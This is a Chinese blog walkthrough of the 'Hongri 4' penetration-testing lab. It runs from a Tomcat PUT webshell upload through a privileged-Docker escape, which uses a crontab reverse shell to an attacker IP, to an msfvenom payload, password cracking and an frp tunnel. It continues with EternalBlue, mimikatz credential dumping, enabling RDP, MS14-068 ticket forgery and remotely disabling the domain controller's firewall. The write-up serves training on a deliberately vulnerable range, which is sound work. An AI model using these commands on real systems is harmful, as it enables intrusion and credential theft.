内网渗透——红日靶场四

目录

一、前期准备

网络配置

启动环境

二、外网探测

1.存活主机

2.使用nmap进行扫描

3.Tomcat文件上传

4.docker逃逸

5.ssh登录

(1)使用id_rsa爆破(较慢)

(2)/etc/shadow爆破

(3)ubuntu提权

6.尝试上线msf

三、内网渗透

1.信息收集

2.代理隧道

(1)编辑客户机(Ubuntu)

(2)编辑服务机(Kali)

(3)编辑proxychains4.conf

3.永恒之蓝(成功拿下WIN7)

4.对win7进行信息收集

抓取密码

开启3389端口

远程桌面登录(失败)

修改管理员密码

5.MS14-068

获取域成员sid

使用ms14-068伪造票据

将高权限票据注入内存

访问域控

6.永恒之蓝(成功拿下win2008)

四、总结


一、前期准备

首先准备好三台虚拟机:

对应的主机账号和密码:

WEB机:ubuntu ubuntu

WIN7主机:douser Dotest123

DC:administrator Test2008

网络配置

准备两个子网:

192.168.57.0 用作外网(NAT模式)

192.168.52.0 用作内网(仅主机模式)

注意,这里要将DC机的IP改一下:改成192.168.52.x 网段的

启动环境

进入docker,把这几个镜像都开启,可以这样开启:

最终会显示还是有几个没有开启,是正常的

二、外网探测

1.存活主机

得到IP地址:192.168.57.146

2.使用nmap进行扫描

web机为Ubuntu 开了SSH,还有几个http页面,根据所给的版本信息搜索对应的漏洞

能直接搜到的有2002端口的 Tomcat/8.5.19的文件上传漏洞

以及2003端口符合漏洞版本 2.4.0~2.4.29的 cve-2017-15715 apache文件上传漏洞

3.Tomcat文件上传

复现是参考了这位师傅的文章:一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客

先抓包,改为PUT请求:

这里显示201状态码

说明此时新资源创建成功了,也就是说可以直接写入文件!尝试访问GET请求:

发现能够访问到,那就直接用文件上传了,打开Godzilla,管理生成一个jsp马

然后将生成的木马内容写入(有时会显示404 ,可以尝试路径shell.jsp/ 。本来我一开始是能正常写入的,但是后面直接输入shell.jsp就一直显示404)

就能成功上传了,状态码显示为204(服务器成功处理请求)再使用哥斯拉连接

看起来像是docker容器环境中,一般容器环境中根目录下会有 .dockerenv 这个隐藏文件

发现确实是docker容器环境,接下来可能要尝试docker逃逸了

4.docker逃逸

虽然在深入,但还是要谨记之前获取到的信息(如SSH,2003端口的文件上传等)

docker逃逸参考这位师傅的文章:https://xz.aliyun.com/news/8151

我看到了一个:Docker高危启动参数 --privileged 特权模式启动容器

这位师傅是这样说的:

之前我直接在/下看到了test文件,但可能是我在复现过程中无意弄好的,让我误以为是环境已经给我搞好了,后面因某些原因再配置一遍发现/test消失了,所以还是再复现一遍:

首先运行:fdisk -l

可以看到这个磁盘文件最大,十六进制代码 83 表示该分区为 ​**​Linux 原生文件系统分区。**可以利用该文件进行docker逃逸

bash 复制代码
mkdir /test
mount /dev/sda1 /test
chroot /test # 这步我并不能成功,可以直接用下面的
/ >echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.57.128/5555 0>&1"' >> /test/etc/crontab

成功获得web机的root权限!

5.ssh登录

虽然已经获得了ubuntu的root权限,但再尝试到后面发现永恒之蓝怎样都打不了,上网搜索打永恒之蓝需要较为稳定的代理,为后续操作的方便,我这里还是学习一下ssh登录的过程(稳定性会更高一些,且命令行操作会更加简单)

(1)使用id_rsa爆破(较慢)

利用刚才获得的shell(或者是在docker容器当中进行操作),获得ubuntu用户下的隐藏文件的.ssh的id_rsa文件

将这一段复制下来,先使用ssh2john从ssh密钥文件中提取哈希值(这里的id_rsa是我随便建的文件)

然后再将提取的哈希写入新文件id_rsa.hash中,使用john进行爆破

就不等了后面

(2)/etc/shadow爆破

可以直接获得密码的hash值,直接爆破

直接得到密码为ubuntu ,直接尝试ssh登录(ubuntu机变为57.149了)

成功登录

(3)ubuntu提权

发现有root权限,直接提权

6.尝试上线msf

先生成上线程序,先查看Ubuntu的详细信息:uname -a 发现是x84的

bash 复制代码
msfvenom -p /linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=6666 -f elf -o shell2.elf

然后要想办法将生成的上线程序下载到WEB机中,这里我用kali开启了一个http服务

然后直接让WEB机下载:

然后给文件赋予权限

开启msf

bash 复制代码
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.57.128
set LPORT 6666
run

然后直接运行shell2程序 ,就可以成功上线msf了

三、内网渗透

1.信息收集

查看网络信息

发现还有192.168.52.x/24网段 ,可用来设置路由

植入fscan进行内网扫描,同样是下载kali上的文件(本来我是想用msf直接到底的,但fscan会更好用些)

可以看到内网的存活主机

192.168.52.129以及192.168.52.190

可以看到上面扫出来的两台内网机器都能尝试用永恒之蓝

甚至还知晓了域控的IP:192.168.52.190 (win 2008)

2.代理隧道

使用永恒之蓝需要稳定的隧道,这里用到的是frp来进行隧道搭建。

(1)编辑客户机(Ubuntu)

将frpc.ini和frpc文件下载到ubuntu上:

编辑frpc.ini文件:

(2)编辑服务机(Kali)

然后在kali上运行:

默认是监听5555

再到跳板机上运行:

可以看到服务机kali上成功建立起隧道

本地用到的是8989端口

(3)编辑proxychains4.conf

3.永恒之蓝(成功拿下WIN7)

注意,之前提到过要打永恒之蓝需要一条非常稳定的隧道,而我们用到的代理也只能是这里的127.0.0.1 8989 如果打了很久也不成功可以去看一下 /etc/environment的全局代理,先把里面的一些代理给禁用掉,然后重启一下就行了:

利用echo $http_proxy 看是否成功执行

或者curl一下docker容器:172.19.0.2 看代理链是否构造成功:

可以看到这里已经成功了。但可能还有一种情况会导致代理链不稳定,就是在以前曾经启动过frp服务(但并没有正确关闭,或者设置了自启动),导致端口被占用了,可以这样自检:当你用永恒之蓝打的时候,看frp服务端会不会跑流量,像这样:

如果没反应可以尝试重启kali,再次重启应该就行了。

现在目标内网机器的IP为:192.168.52.134 192.168.52.190(DC)

复制代码
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp # 这里用了代理,只能用正向连接
set rhost 192.168.52.134
setg proxies socks5:127.0.0.1:8989
run

成功!

4.对win7进行信息收集

用永恒之蓝应该是不能拿下DC机的,只好先对win7进行信息收集再尝试横向移动了。

发现已经有了系统权限,先关闭防火墙

抓取密码

复制代码
load kiwi
kiwi_cmd sekurlsa::logonpasswords

c

可以直接抓取到账号密码: demo/douser Dotest123

开启3389端口

复制代码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

远程桌面登录(失败)

修改管理员密码

SYSTEM权限可以对管理员密码进行修改,可以这样修改并激活:

这样就可以再尝试远程桌面登录了:


然后可以查看douser下的文件:

发现里面能用的东西相当多,但按理来说一台要打的机器是不会有这么多POC在上面的,比如这里的MS14-068 就应该是出题人给我们的提示。

5.MS14-068

MS14-068(CVE-2014-6324) 是 Microsoft Windows 操作系统中的一个高危漏洞,影响 Kerberos 协议 的权限验证机制。如果攻击者获取了域内任何一台计算机的shell权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限,未打补丁的 Windows Server 2003 至 2012 R2 域控制器都可能有该漏洞。

我们正好可借该漏洞横向到域控主机上(mimikatz无法抓取到域控的密码,即无法横向)复现一下

获取域成员sid

S-1-5-21-797258081-3477957704-2472809391-500

使用ms14-068伪造票据

复制代码
C:\Users\douser\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-797258081-3477957704-2472809391-500 -d 192.168.52.190 -p Dotest123
# -u 域成员@域名.com
# -s 域成员sid
# -d 域控制器ip地址
# -p 域成员密码

可以看到成功得到高权限票据:[email protected]

将高权限票据注入内存

复制代码
mimikatz # kerberos::list

mimikatz # kerberos::ptc [email protected]

Principal : (01) : douser ; @ DEMO.COM

Data 0
           Start/End/MaxRenew: 2025/5/22 19:02:41 ; 2025/5/23 5:02:41 ; 2025/5/29 19:02:41
           Service Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
           Target Name  (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
           Client Name  (01) : douser ; @ DEMO.COM
           Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
           Session Key       : 0x00000017 - rc4_hmac_nt
             735e5e7814fd6aaa4d294fbd69bc9c39
           Ticket            : 0x00000000 - null              ; kvno = 2        [...]
           * Injecting ticket : OK

可以看到成功注入票据

我们的域控是: WIN-ENS2VR5TR3N

访问域控

可以看到我们刚刚注入的票据

dir \\WIN-ENS2VR5TR3N\C$ 访问域控C盘下的文件

成功执行命令,接下来就得将域控的防火墙关闭了,记得我们之前用fscan发现域控有永恒之蓝吗?用msf继续打一遍。

6.永恒之蓝(成功拿下win2008)

首先我们需要将win2008的防火墙关闭:

复制代码
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
# 使用sc命令在远程计算机上创建一个名为unablefirewall 的服务
sc \\WIN-ENS2VR5TR3N start unablefirewall
# 开启该服务

然后就是拿永恒之蓝打了

成功拿下域控!

四、总结

首先,如果有错误的地方,感谢大家指正!

该靶场还是学了很多知识,对于内网也更加得心应手了些,回忆一下整篇打靶的路径:

首先是通过Tomcat文件上传,成功获得了docker的shell

然后利用docker的权限配置问题,进行了docker逃逸

进行了ssh爆破,获得了更加稳定的shell

使用frp搭建了代理隧道,期间也解决了一些问题,成功用永恒之蓝打下WIN7

加载mimikatz抓取win7账号密码,sid。发现是system权限直接修改本机管理员的密码,打开3389端口登录本机管理员。

发现win7给我们准备好了ms14-068,借此成功得到域管理员的权限

关闭域控的防火墙,使用永恒之蓝拿下域控。

思维导图最近还在画,感觉有些不合理的地方,思路不是很清晰。之后应该会出一篇学习docker逃逸的文章。

相关推荐
jndingxin23 分钟前
ROS2学习(9)------ROS2动作
学习·机器人
真的想上岸啊1 小时前
学习STC51单片机13(芯片为STC89C52RC)
单片机·嵌入式硬件·学习
江畔柳前堤1 小时前
PyQt学习系列10-性能优化与调试技巧
开发语言·javascript·数据库·学习·性能优化·ecmascript·pyqt
永日456701 小时前
学习日记-day14-5.23
学习
FanfanPyt1 小时前
Python打卡训练营学习记录Day34
开发语言·python·学习
人工智能培训1 小时前
计算机视觉设计开发工程师学习路线
人工智能·学习·计算机视觉·大模型·transformer·ai大模型
阳光九叶草LXGZXJ1 小时前
达梦数据库-学习-21-C 外部函数
linux·运维·c语言·开发语言·数据库·sql·学习
Alfadi联盟 萧瑶2 小时前
安全生态与职业跃迁
安全
大咖分享课2 小时前
谷歌宣布推出 Android 的新安全功能,以防止诈骗和盗窃
安全
Blossom.1182 小时前
量子传感器:开启微观世界的精准探测
大数据·人工智能·深度学习·安全·机器学习·计算机视觉·量子计算